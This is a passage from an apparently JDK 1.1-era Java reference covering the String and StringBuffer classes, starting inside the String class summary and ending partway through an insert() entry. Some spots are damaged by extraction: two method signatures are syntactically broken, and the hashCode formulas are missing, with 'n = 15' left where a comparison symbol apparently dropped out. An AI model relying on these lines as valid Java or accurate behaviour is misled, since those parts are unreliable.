    public String(byte[] bytes);                          // New in 1.1
    public String(byte[] bytes, String enc);              // New in 1.1
    public String(byte[] bytes, int offset, int length);  // New in 1.1
    public String(byte[] bytes, int offset,
                  int length, String enc);                // New in 1.1
    public String(byte[] lowbytes, int hibyte);        // Deprecated in 1.1
    public String(byte[] lowbytes, int hibyte,
                  int offset, int count);              // Deprecated in 1.1
    public String(char[] value);
    public String(char[] value, int offset, int;
    public String(String value);
    public String(StringBuffer buffer);
    // Class Methods
    public static String copyValueOf(char data[]);
    public static String copyValueOf(char data[], int offset, int count);
    public static String valueOf(boolean b);
    public static String valueOf(char c);
    public static String valueOf(char[] data);
    public static String valueOf(char[] data, int offset, int count);
    public static String valueOf(double d);
    public static String valueOf(float f);
    public static String valueOf(int i);
    public static String valueOf(long l);
    public static String valueOf(Object obj);
    // Instance Methods
    public char charAt(int index);
    public int compareTo(String anotherString);
    public String concat(String str);
    public boolean endsWith(String suffix);
    public boolean equals(Object anObject);
    public boolean equalsIgnoreCase(String anotherString);
    public byte[] getBytes();                             // New in 1.1
    public byte[] getBytes(String enc);                   // New in 1.1
    public void getBytes(int srcBegin, int srcEnd,
                         byte[] dst, int dstBegin);     // Deprecated in 1.1
    public void getChars(int srcBegin, int srcEnd, char[] dst, int dstBegin);
    public int hashCode();
    public int indexOf(int ch);
    public int indexOf(int ch, int fromIndex);
    public int indexOf(String str);
    public int indexOf(String str, int fromIndex);
    public native String intern();
    public int lastIndexOf(int ch);
    public int lastIndexOf(int ch, int fromIndex);
    public int lastIndexOf(String str);
    public int lastIndexOf(String str, int fromIndex;
    public int length();
    public boolean regionMatches(boolean ignoreCase, int toffset,
                                 String other, int ooffset, int len);
    public boolean regionMatches(int toffset, String other,
                                 int ooffset, int len);
    public String replace(char oldChar, char newChar);
    public boolean startsWith(String prefix);
    public boolean startsWith(String prefix, int toffset);
    public String substring(int beginIndex);
    public String substring(int beginIndex, int endIndex);
    public char[] toCharArray();
    public String toLowerCase();
    public String toLowerCase(Locale locale);             // New in 1.1
    public String toString();
    public String toUpperCase();
    public String toUpperCase(Locale locale);             // New in 1.1
    public String trim();
}

Constructors

String

public String()

Description

Creates a new String object that represents the empty string (i.e., a string with zero characters).

public String(byte[] bytes)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

Description

Creates a new String object that represents the sequence of characters stored in the given bytes array. The bytes in the array are converted to characters using the system's default character encoding scheme.

public String(byte[] bytes, String enc)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

enc

The name of an encoding scheme.

Throws

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

Creates a new String object that represents the sequence of characters stored in the given bytes array. The bytes in the array are converted to characters using the specified character encoding scheme.

public String(byte[] bytes, int offset, int length)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

offset

An offset into the array.

length

The number of bytes to be included.

Throws

StringIndexOutOfBoundsException

If offset or length indexes an element that is outside the bounds of the bytes array.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the given bytes array. The bytes in the array are converted to characters using the system's default character encoding scheme.

 public String(byte[] bytes, int offset, int length, String enc)

Availability

New as of JDK 1.1

Parameters

bytes

An array of byte values.

offset

An offset into the array.

length

The number of bytes to be included.

enc

The name of an encoding scheme.

Throws

StringIndexOutOfBoundsException

If offset or length indexes an element that is outside the bounds of the bytes array.

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the given bytes array. The bytes in the array are converted to characters using the specified character encoding scheme.

public String(byte[] lowbytes, int hibyte)

Availability

Deprecated as of JDK 1.1

Parameters

lowbytes

An array of byte values.

hibyte

The value to be put in the high-order byte of each 16-bit character.

Description

Creates a new String object that represents the sequence of characters stored in the given lowbytes array. The type of the array elements is byte, which is an 8-bit data type, so each element must be converted to a char, which is a 16-bit data type. The value of the hibyte argument is used to provide the value of the high-order byte when the byte values in the array are converted to char values.

More specifically, for each element i in the array lowbytes, the character at position i in the created String object is:

((hibyte & 0xff)<<8) | lowbytes[i]

This method is deprecated as of JDK 1.1 because it does not convert bytes into characters properly. You should instead use one of the constructors that takes a specific character encoding argument or that uses the default encoding.

 public String(byte[] lowbytes, int hibyte, int offset, int count)

Availability

Deprecated as of JDK 1.1

Parameters

lowbytes

An array of byte values.

hibyte

The value to be put in the high-order byte of each 16-bit character.

offset

An offset into the array.

count

The number of bytes from the array to be included in the string.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the lowbytes array.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the lowbytes array. That is, the portion of the array that starts at offset elements from the beginning of the array and is count elements long.

The type of the array elements is byte, which is an 8-bit data type, so each element must be converted to a char, which is a 16-bit data type. The value of the hibyte argument is used to provide the value of the high-order byte when the byte values in the array are converted to char values.

More specifically, for each element i in the array lowbytes that is included in the String object, the character at position i in the created String is:

 ((hibyte & 0xff)<<8) | lowbytes[I]

This method is deprecated as of JDK 1.1 because it does not convert bytes into characters properly. You should instead use one of the constructors that takes a specific character encoding argument or that uses the default encoding.

public String(char[] value)

Parameters

value

An array of char values.

Description

Creates a new String object that represents the sequence of characters stored in the given array.

public String(char[] value, int offset, int count)

Parameters

value

An array of char values.

offset

An offset into the array.

count

The number of characters from the array to be included in the string.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the value array.

Description

Creates a new String object that represents the sequence of characters stored in the specified portion of the given array. That is, the portion of the given array that starts at offset elements from the beginning of the array and is count elements long.

public String(String value)

Parameters

value

A String object.

Description

Creates a new String object that represents the same sequence of characters as the given String object.

public String(StringBuffer value)

Parameters

value

A StringBuffer object.

Description

Creates a new String object that represents the same sequence of characters as the given object.

Class Methods

copyValueOf

public static String copyValueOf(char data[])

Parameters

data

An array of char values.

Returns

A new String object that represents the sequence of characters stored in the given array.

Description

This method returns a new String object that represents the character sequence contained in the given array. The String object produced by this method is guaranteed not to refer to the given array, but instead to use a copy. Because the String object uses a copy of the array, subsequent changes to the array do not change the contents of this String object.

This method is now obsolete. The same result can be obtained using the valueOf() method that takes an array of char values.

 public static String copyValueOf(char data[], int offset, int count)

Parameters

data

An array of char values.

offset

An offset into the array.

count

The number of characters from the array to be included in the string.

Returns

A new String object that represents the sequence of characters stored in the specified portion of the given array.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the data array.

Description

This method returns a new String object that represents the character sequence contained in the specified portion of the given array. That is, the portion of the given array that starts at offset elements from the beginning of the array and is count elements long. The String object produced by this method is guaranteed not to refer to the given array, but instead to use a copy. Because the String object uses a copy of the array, subsequent changes to the array do not change the contents of this String object.

This method is obsolete. The same result can be obtained by using the valueOf() method that takes an array of char values, an offset, and a count.

valueOf

public static String valueOf(boolean b)

Parameters

b

A boolean value.

Returns

A new String object that contains 'true' if b is true or 'false' if b is false.

Description

This method returns a string representation of a boolean value. In other words, it returns 'true' if b is true or 'false' if b is false.

public static String valueOf(char c)

Parameters

c

A char value.

Returns

A new String object that contains just the given character.

Description

This method returns a string representation of a char value. In other words, it returns a String object that contains just the given character.

public static String valueOf(char[] data)

Parameters

data

An array of char values.

Returns

A new String object that contains the sequence of characters stored in the given array.

Description

This method returns a string representation of an array of char values. In other words, it returns a String object that contains the sequence of characters stored in the given array.

 public static String valueOf(char[] data, int offset, int count)

Parameters

data

An array of char values.

offset

An offset into the array.

count

The number of characters from the array to be included in the string.

Returns

A new String object that contains the sequence of characters stored in the specified portion of the given array.

Throws

StringIndexOutOfBoundsException

If offset or count indexes an element that is outside the bounds of the data array.

Description

This method returns a string representation of the specified portion of an array of char values. In other words, it returns a String object that contains the sequence of characters in the given array that starts offset elements from the beginning of the array and is count elements long.

public static String valueOf(double d)

Parameters

d

A double value.

Returns

A new String object that contains a string representation of the given double value.

Description

This method returns a string representation of a double value. In other words, it returns the String object returned by Double.toString(d).

public static String valueOf(float f)

Parameters

f

A float value.

Returns

A new String object that contains a string representation of the given float value.

Description

This method returns a string representation of a float value. In other words, it returns the String object returned by Float.toString(f).

public static String valueOf(int i)

Parameters

i

An int value.

Returns

A new String object that contains a string representation of the given int value.

Description

This method returns a string representation of an int value. In other words, it returns the String object returned by Integer.toString(i).

public static String valueOf(long l)

Parameters

l

A long value.

Returns

A new String object that contains a string representation of the given long value.

Description

This method returns a string representation of a long value. In other words, it returns the String object returned by Long.toString(l).

public static String valueOf (Object obj)

Parameters

obj

A reference to an object.

Returns

A new String that contains a string representation of the given object.

Description

This method returns a string representation of the given object. If obj is null, the method returns'null'. Otherwise, the method returns the String object returned by the toString() method of the object.

Instance Methods

charAt

public char charAt(int index)

Parameters

index

An index into the string.

Returns

The character at the specified position in this string.

Throws

StringIndexOutOfBoundsException

If index is less than zero or greater than or equal to the length of the string.

Description

This method returns the character at the specified position in the String object; the first character in the string is at position 0.

compareTo

public int compareTo(String anotherString)

Parameters

anotherString

The String object to be compared.

Returns

A positive value if this string is greater than anotherString, 0 if the two strings are the same, or a negative value if this string is less than anotherString.

Description

This method lexicographically compares this String object to anotherString.

Here is how the comparison works: the two String objects are compared character-by-character, starting at index 0 and continuing until a position is found in which the two strings contain different characters or until all of the characters in the shorter string have been compared. If the characters at k are different, the method returns:

this.charAt(k)-anotherString.charAt(k)

Otherwise, the comparison is based on the lengths of the strings and the method returns:

this.length()-anotherString.length()

concat

public String concat(String str)

Parameters

str

The String object to be concatenated.

Returns

A new String object that contains the character sequences of this string and str concatenated together.

Description

This method returns a new String object that concatenates the characters from the argument string str onto the characters from this String object. Although this is a good way to concatenate two strings, concatenating more than two strings can be done more efficiently using a StringBuffer object.

endsWith

public boolean endsWith(String suffix)

Parameters

suffix

The String object suffix to be tested.

Returns

true if this string ends with the sequence of characters specified by suffix; otherwise false.

Description

This method determines whether or not this String object ends with the specified suffix.

equals

public boolean equals(Object anObject)

Parameters

anObject

The Object to be compared.

Returns

true if the objects are equal; false if they are not.

Overrides

Object.equals()

Description

This method returns true if anObject is an instance of String and it contains the same sequence of characters as this String object.

Note the difference between this method and the == operator, which only returns true if both of its arguments are references to the same object.

equalsIgnoreCase

public boolean equalsIgnoreCase(String anotherString)

Parameters

anotherString

The String object to be compared.

Returns

true if the strings are equal, ignoring case; otherwise false.

Description

This method determines whether or not this String object contains the same sequence of characters, ignoring case, as anotherString. More specifically, corresponding characters in the two strings are considered equal if any of the following conditions are true:

  • The two characters compare as equal using the == operator.

  • The Character.toUppercase() method returns the same result for both characters.

  • The Character.toLowercase() method returns the same result for both characters.

getBytes

 public byte[] getBytes()

Availability

New as of JDK 1.1

Returns

A byte array that contains the characters of this String.

Description

This method converts the characters in this String object to an array of byte values. The characters in the string are converted to bytes using the system's default character encoding scheme.

 public byte[] getBytes(String enc)

Availability

New as of JDK 1.1

Parameters

enc

The name of an encoding scheme.

Returns

A byte array that contains the characters of this String.

Throws

UnsupportedEncodingException

If enc is not a supported encoding scheme.

Description

This method converts the characters in this String object to an array of byte values. The characters in the string are converted to bytes using the specified character encoding scheme.

 public void getBytes(int srcBegin, int srcEnd, byte[] dst, int dstBegin)

Availability

Deprecated as of JDK 1.1

Parameters

srcBegin

The index of the first character to be copied.

srcEnd

The index after the last character to be copied.

dst

The destination byte array.

dstBegin

An offset into the destination array.

Throws

StringIndexOutOfBoundsException

If srcBegin, srcEnd, or dstBegin is out of range.

Description

This method copies the low-order byte of each character in the specified range of this String object to the given array of byte values. More specifically, the first character to be copied is at index srcBegin; the last character to be copied is at index srcEnd-1. The low-order bytes of these characters are copied into dst, starting at index dstBegin and ending at index:

dstBegin + (srcEnd-srcBegin) - 1

This method is deprecated as of JDK 1.1 because it does not convert characters into bytes properly. You should instead use the getBytes() method that takes a specific character encoding argument or the one that uses the default encoding.

getChars

 public void getChars(int srcBegin, int srcEnd, char[] dst, int dstBegin)

Parameters

srcBegin

The index of the first character to be copied.

srcEnd

The index after the last character to be copied.

dst

The destination char array.

dstBegin

An offset into the destination array.

Throws

StringIndexOutOfBoundsException

If srcBegin, srcEnd, or dstBegin is out of range.

Description

This method copies each character in the specified range of this String object to the given array of char values. More specifically, the first character to be copied is at index srcBegin; the last character to be copied is at index srcEnd-1. These characters are copied into dst, starting at index dstBegin and ending at index:

dstBegin + (srcEnd-srcBegin) - 1

hashCode

public int hashCode()

Returns

A hashcode based on the sequence of characters in this string.

Overrides

Object.hashCode()

Description

This method returns a hashcode based on the sequence of characters this String object represents.

More specifically, one of two algorithms is used to compute a hash code for the string, depending on its length. If n is the length of the string and S_i is the character at position i in the string, then if n = 15 the method returns:

If n > 15, the method returns:

indexOf

public int indexOf(int ch)

Parameters

ch

A char value.

Returns

The index of the first occurrence of the given character in this string or -1 if the character does not occur.

Description

This method returns the index of the first occurrence of the given character in this String object. If there is no such occurrence, the method returns the value -1.

public int indexOf(int ch, int fromIndex)

Parameters

ch

A char value.

fromIndex

The index where the search is to begin.

Returns

The index of the first occurrence of the given character in this string after fromIndex or -1 if the character does not occur.

Description

This method returns the index of the first occurrence of the given character in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

public int indexOf(String str)

Parameters

str

A String object.

Returns

The index of the first occurrence of str in this string or -1 if the substring does not occur.

Description

This method returns the index of the first character of the first occurrence of the substring str in this String object. If there is no such occurrence, the method returns the value -1.

public int indexOf(String str, int fromIndex)

Parameters

str

A String object.

fromIndex

The index where the search is to begin.

Returns

The index of the first occurrence of str in this string after fromIndex or -1 if the substring does not occur.

Description

This method returns the index of the first character of the first occurrence of the substring str in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

intern

public native String intern()

Returns

A String object that is guaranteed to be the same object for every String that contains the same character sequence.

Description

This method returns a canonical representation for this String object. The returned String object is guaranteed to be the same String object for every String object that contains the same character sequence. In other words, if:

s1.equals(s2)

then:

s1.intern() == s2.intern()

The intern() method is used by the Java environment to ensure that String literals and constant-value String expressions that contain the same sequence of characters are all represented by a single String object.

lastIndexOf

public int lastIndexOf(int ch)

Parameters

ch

A char value.

Returns

The index of the last occurrence of the given character in this string or -1 if the character does not occur.

Description

This method returns the index of the last occurrence of the given character in this String object. If there is no such occurrence, the method returns the value -1.

public int lastIndexOf(int ch, int fromIndex)

Parameters

ch

A char value.

fromIndex

The index where the search is to begin.

Returns

The index of the last occurrence of the given character in this string after fromIndex or -1 if the character does not occur.

Description

This method returns the index of the last occurrence of the given character in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

public int lastIndexOf(String str)

Parameters

str

A String object.

Returns

The index of the last occurrence of str in this string or -1 if the substring does not occur.

Description

This method returns the index of the first character of the last occurrence of the substring str in this String object. If there is no such occurrence, the method returns the value -1.

public int lastIndexOf(String str, int fromIndex)

Parameters

str

A String object.

fromIndex

The index where the search is to begin.

Returns

The index of the last occurrence of str in this string after fromIndex or -1 if the substring does not occur.

Description

This method returns the index of the first character of the last occurrence of the substring str in this String object after ignoring the first fromIndex characters. If there is no such occurrence, the method returns the value -1.

length

public int length()

Returns

The length of the character sequence represented by this string.

Description

This method returns the number of characters in the character sequence represented by this String object.

regionMatches

 public boolean regionMatches(int toffset, String other, int ooffset, int len)

Parameters

toffset

The index of the first character in this string.

other

The String object to be used in the comparison.

ooffset

The index of the first character in other.

len

The length of the sub-sequences to be compared.

Returns

true if the sub-sequences are identical; otherwise false.

Description

This method determines whether or not the specified sub-sequences in this String object and other are identical. The method returns false if toffset is negative, if ooffset is negative, if toffset+len is greater than the length of this string, or if ooffset+len is greater than the length of other. Otherwise, the method returns true if for all nonnegative integers k less than len it is true that:

this.charAt(toffset+k) == other.charAt(ooffset+k)

 public boolean regionMatches(boolean ignoreCase, int toffset, String other, int ooffset, int len)

Parameters

ignoreCase

A boolean value that indicates whether case should be ignored.

toffset

The index of the first character in this string.

other

The String object to be used in the comparison.

ooffset

The index of the first character in other.

len

The length of the sub-sequences to be compared.

Returns

true if the sub-sequences are identical; otherwise false. The ignoreCase argument controls whether or not case is ignored in the comparison.

Description

This method determines whether or not the specified sub-sequences in this String object and other are identical. The method returns false if toffset is negative, if ooffset is negative, if toffset+len is greater than the length of this string, or if ooffset+len is greater than the length of other. Otherwise, if ignoreCase is false, the method returns true if for all nonnegative integers k less than len it is true that:

this.charAt(toffset+k) == other.charAt(ooffset+k)

If ignoreCase is true, the method returns true if for all nonnegative integers k less than len it is true that:

Character.toLowerCase(this.charAt(toffset+k))
== Character.toLowerCase(other.charAt(ooffset+k))

or:

Character.toUpperCase(this.charAt(toffset+k))
== Character.toUpperCase(other.charAt(ooffset+k))

replace

public String replace(char oldChar, char newChar)

Parameters

oldChar

The character to be replaced.

newChar

The replacement character.

Returns

A new String object that results from replacing every occurrence of oldChar in the string with newChar.

Description

This method returns a new String object that results from replacing every occurrence of oldChar in this String object with newChar. If there are no occurrences of oldChar, the method simply returns this String object.

startsWith

public boolean startsWith(String prefix)

Parameters

prefix

The String object prefix to be tested.

Returns

true if this string begins with the sequence of characters specified by prefix; otherwise false.

Description

This method determines whether or not this String object begins with the specified prefix.

public boolean startsWith(String prefix, int toffset)

Parameters

prefix

The String object prefix to be tested.

toffset

The index where the search is to begin.

Returns

true if this string contains the sequence of characters specified by prefix starting at the index toffset; otherwise false.

Description

This method determines whether or not this String object contains the specified prefix at the index specified by toffset.

substring

public String substring(int beginIndex)

Parameters

beginIndex

The index of the first character in the substring.

Returns

A new String object that contains the sub-sequence of this string that starts at beginIndex and extends to the end of the string.

Throws

StringIndexOutOfBoundsException

If beginIndex is less than zero or greater than or equal to the length of the string.

Description

This method returns a new String object that represents a sub-sequence of this String object. The sub-sequence consists of the characters starting at beginIndex and extending through the end of this String object.

public String substring(int beginIndex, int endIndex)

Parameters

beginIndex

The index of the first character in the substring.

endIndex

The index after the last character in the substring.

Returns

A new String object that contains the sub-sequence of this string that starts at beginIndex and extends to the character at endindex-1.

Throws

StringIndexOutOfBoundsException

If beginIndex or endIndex is less than zero or greater than or equal to the length of the string.

Description

This method returns a new String object that represents a sub-sequence of this String object. The sub-sequence consists of the characters starting at beginIndex and extending through endIndex-1 of this String object.

toCharArray

public char[] toCharArray()

Returns

A new char array that contains the same sequence of characters as this string.

Description

This method returns a new char array that contains the same sequence of characters as this Stringobject. The length of the array is the same as the length of this String object.

toLowerCase

public String toLowerCase()

Returns

A new String object that contains the characters of this string converted to lowercase.

Description

This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its lowercase equivalent if it has one. If no character in the string has a lowercase equivalent, the method returns this String object.

public String toLowerCase(Locale locale)

Availability

New as of JDK 1.1

Parameters

locale

The Locale to use.

Returns

A new String object that contains the characters of this string converted to lowercase using the rules of the specified locale.

Description

This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its lowercase equivalent if it has one according to the rules of the specified locale. If no character in the string has a lowercase equivalent, the method returns this String object.

toString

public String toString()

Returns

This String object.

Overrides

Object.toString()

Description

This method returns this String object.

toUpperCase

public String toUpperCase()

Returns

A new String object that contains the characters of this string converted to uppercase.

Description

This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its uppercase equivalent if it has one. If no character in the string has an uppercase equivalent, the method returns this String object.

public String toUpperCase(Locale locale)

Availability

New as of JDK 1.1

Parameters

locale

The Locale to use.

Returns

A new String object that contains the characters of this string converted to uppercase using the rules of the specified locale.

Description

This method returns a new String that represents a character sequence of the same length as this String object, but with each character replaced by its uppercase equivalent if it has one according to the rules of the specified locale. If no character in the string has an uppercase equivalent, the method returns this String object.

trim

public String trim()

Returns

A new String object that represents the same character sequence as this string, but with leading and trailing whitespace and control characters removed.

Description

If the first and last character in this String object are greater than '\u0020' (the space character), the method returns this String object. Otherwise, the method returns a new String object that contains the same character sequence as this String object, but with leading and trailing characters that are less than '\u0020'' removed.

Inherited Methods

Method | Inherited From | Method | Inherited From
clone() | Object | finalize() | Object
getClass() | Object | notify() | Object
notifyAll() | Object | wait() | Object
wait(long) | Object | wait(long, int) | Object

See Also

Character;
Class;
Double;
Exceptions;
Float;
Integer;
Long;
Object;
StringBuffer;
String Concatenation Operator +;
String literals

Previous | Home | Next
Short | Book Index | StringBuffer
Java in a Nutshell Java Language Reference Java AWT Java Fundamental Classes Exploring Java


[Chapter 10] StringBuffer

Java Language Reference

Previous Chapter 10
The java.lang Package 		Next

StringBuffer

Name

StringBuffer

Synopsis

Class Name:

java.lang.StringBuffer

Superclass:

java.lang.Object

Immediate Subclasses:

None

Interfaces Implemented:

java.io.Serializable

Availability:

JDK 1.0 or later

Description

The StringBuffer class represents a variable-length sequence of characters. StringBuffer objects are used in computations that involve creating new String objects. The StringBuffer class provides a number of utility methods for working with StringBuffer objects, including append() and insert() methods that add characters to a StringBuffer and methods that fetch the contents of StringBuffer objects.

When a StringBuffer object is created, the constructor determines the initial contents and capacity of the StringBuffer. The capacity of a StringBuffer is the number of characters that its internal data structure can hold. This is distinct from the length of the contents of a StringBuffer, which is the number of characters that are actually stored in the StringBuffer object. The capacity of a StringBuffer can vary. When a StringBuffer object is asked to hold more characters than its current capacity allows, the StringBuffer enlarges its internal data structure. However, it is more costly in terms of execution time and memory when a StringBuffer has to repeatedly increase its capacity than when a StringBuffer object is created with sufficient capacity.

Because the intended use of StringBuffer objects involves modifying their contents, all methods of the StringBuffer class that modify StringBuffer objects are synchronized. This means that is it safe for multiple threads to try to modify a StringBuffer object at the same time.

StringBuffer objects are used implicitly by the string concatenation operator. Consider the following code:

String s, s1, s2;
s = s1 + s2;

To compute the string concatenation, the Java compiler generates code like:

s = new StringBuffer().append(s1).append(s2).toString();

Class Summary

public class java.lang.StringBuffer extends java.lang.Object {
    // Constructors
    public StringBuffer();
    public StringBuffer(int length);
    public StringBuffer(String str);
    // Instance Methods
    public StringBuffer append(boolean b);
    public synchronized StringBuffer append(char c);
    public synchronized StringBuffer append(char[] str);
    public synchronized StringBuffer append(char[] str, int offset, int len);
    public StringBuffer append(double d);
    public StringBuffer append(float f);
    public StringBuffer append(int i);
    public StringBuffer append(long l);
    public synchronized StringBuffer append(Object obj);
    public synchronized StringBuffer append(String str);
    public int capacity();
    public synchronized char charAt(int index);
    public synchronized void ensureCapacity(int minimumCapacity);
    public synchronized void getChars(int srcBegin, int srcEnd,
                             char[] dst, int dstBegin);
    public StringBuffer insert(int offset, boolean b);
    public synchronized StringBuffer insert(int offset, char c);
    public synchronized StringBuffer insert(int offset, char[] str);
    public StringBuffer insert(int offset, double d);
    public StringBuffer insert(int offset, float f);
    public StringBuffer insert(int offset, int i);
    public StringBuffer insert(int offset, long l);
    public synchronized StringBuffer insert(int offset, Object obj);
    public synchronized StringBuffer insert(int offset, String str);
    public int length();
    public synchronized StringBuffer reverse();
    public synchronized void setCharAt(int index, char ch);
    public synchronized void setLength(int newLength);
    public String toString();
}

Constructors

StringBuffer

public StringBuffer()

Description

Creates a StringBuffer object that does not contain any characters and has a capacity of 16 characters.

public StringBuffer(int capacity)

Parameters

capacity

The initial capacity of this StringBufffer object.

Throws

NegativeArraySizeException

If capacity is negative.

Description

Creates a StringBuffer object that does not contain any characters and has the specified capacity.

public StringBuffer(String str)

Parameters

str

A String object.

Description

Creates a StringBuffer object that contains the same sequence of characters as the given String object and has a capacity 16 greater than the length of the String.

Instance Methods

append

public StringBuffer append(boolean b)

Parameters

b

A boolean value.

Returns

This StringBuffer object.

Description

This method appends either "true" or "false" to the end of the sequence of characters stored in ths StringBuffer object, depending on the value of b.

public synchronized StringBuffer append(char c)

Parameters

c

A char value.

Returns

This StringBuffer object.

Description

This method appends the given character to the end of the sequence of characters stored in this StringBuffer object.

public synchronized StringBuffer append(char str[])

Parameters

str

An array of char values.

Returns

This StringBuffer object.

Description

This method appends the characters in the given array to the end of the sequence of characters stored in this StringBuffer object.

 public synchronized StringBuffer append(char str[], int offset, int len)

Parameters

str

An array of char values.

offset

An offset into the array.

len

The number of characters from the array to be appended.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset or len are out of range.

Description

This method appends the specified portion of the given array to the end of the character sequence stored in this StringBuffer object. The portion of the array that is appended starts offset elements from the beginning of the array and is len elements long.

public StringBuffer append(double d)

Parameters

d

A double value.

Returns

This StringBuffer object.

Description

This method converts the given double value to a string using Double.toString(d) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public StringBuffer append(float f)

Parameters

f

A float value.

Returns

This StringBuffer object.

Description

This method converts the given float value to a string using Float.toString(f) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public StringBuffer append(int i)

Parameters

i

An int value.

Returns

This StringBuffer object.

Description

This method converts the given int value to a string using Integer.toString(i) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public StringBuffer append(long l)

Parameters

l

A long value.

Returns

This StringBuffer object.

Description

This method converts the given long value to a string using Long.toString(l) and appends the resulting string to the end of the sequence of characters stored in this StringBuffer object.

public synchronized StringBuffer append(Object obj)

Parameters

obj

A reference to an object.

Returns

This StringBuffer object.

Description

This method gets the string representation of the given object by calling String.valueOf(obj) and appends the resulting string to the end of the character sequence stored in this StringBuffer object.

public synchronized StringBuffer append(String str)

Parameters

str

A String object.

Returns

This StringBuffer object.

Description

This method appends the sequence of characters represented by the given String to the characters in this StringBuffer object. If str is null, the string "null" is appended.

capacity

public int capacity()

Returns

The capacity of this StringBuffer object.

Description

This method returns the current capacity of this object. The capacity of a StringBuffer object is the number of characters that its internal data structure can hold. A StringBuffer object automatically increases its capacity when it is asked to hold more characters than its current capacity allows.

charAt

public synchronized char charAt(int index)

Parameters

index

An index into the StringBuffer.

Returns

The character stored at the specified position in this StringBuffer object.

Throws

StringIndexOutOfBoundsException

If index is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method returns the character at the specified position in the StringBuffer object. The first character in the StringBuffer is at index 0.

ensureCapacity

public synchronized void ensureCapacity(int minimumCapacity)

Parameters

minimumCapacity

The minimum desired capacity.

Description

This method ensures that the capacity of this StringBuffer object is at least the specified number of characters. If necessary, the capacity of this object is increased to the greater of minimumCapacity or double its current capacity plus two.

It is more efficient to ensure that the capacity of a StringBuffer object is sufficient to hold all of the additions that will be made to its contents, rather than let the StringBuffer increase its capacity in multiple increments.

getChars

 public synchronized void getChars(int srcBegin, int srcEnd, char dst[], int dstBegin)

Parameters

srcBegin

The index of the first character to be copied.

srcEnd

The index after the last character to be copied.

dst

The destination char array.

dstBegin

An offset into the destination array.

Throws

StringIndexOutOfBoundsException

If srcBegin, srcEnd, or dstBegin is out of range.

Description

This method copies each character in the specified range of this StringBuffer object to the given array of char values. More specifically, the first character to be copied is at index srcBegin; the last character to be copied is at index srcEnd-1.

These characters are copied into dst, starting at index dstBegin and ending at index:

dstBegin + (srcEnd-srcBegin) - 1

insert

public StringBuffer insert(int offset, boolean b)

Parameters

offset

An offset into the StringBuffer.

b

A boolean value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is out of range.

Description

This method inserts either "true" or "false" into the sequence of characters stored in this StringBuffer object, depending on the value of b. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, char c)

Parameters

offset

An offset into the StringBuffer.

c

A char value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method inserts the given character into the sequence of characters stored in this StringBuffer object. The character is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the character is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, char str[])

Parameters

offset

An offset into the StringBuffer.

str

An array of char values.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method inserts the characters in the given array into the sequence of characters stored in this StringBuffer object. The characters are inserted at a position offset characters from the beginning of the sequence. If offset is 0, the characters are inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, double d)

Parameters

offset

An offset into the StringBuffer.

d

A double value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given double value to a string using Double.toString(d) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, float f)

Parameters

offset

An offset into the StringBuffer.

f

A float value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given float value to a string using Float.toString(f) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, int i)

Parameters

offset

An offset into the StringBuffer.

i

An int value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given int value to a string using Integer.toString(i) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public StringBuffer insert(int offset, long l)

Parameters

offset

An offset into the StringBuffer.

l

A long value.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

This method converts the given long value to a string using Long.toString(l) and inserts the resulting string into the sequence of characters stored in this StringBuffer object. The string is inserted at a position offset characters from the beginning of the sequence. If offset is 0, the string is inserted before the first character in the StringBuffer.

public synchronized StringBuffer insert(int offset, Object obj)

Parameters

offset

An offset into the StringBuffer.

obj

A reference to an object.

Returns

This StringBuffer object.

Throws

StringIndexOutOfBoundsException

If offset is less than zero or greater than or equal to the length of the StringBuffer object.

Description

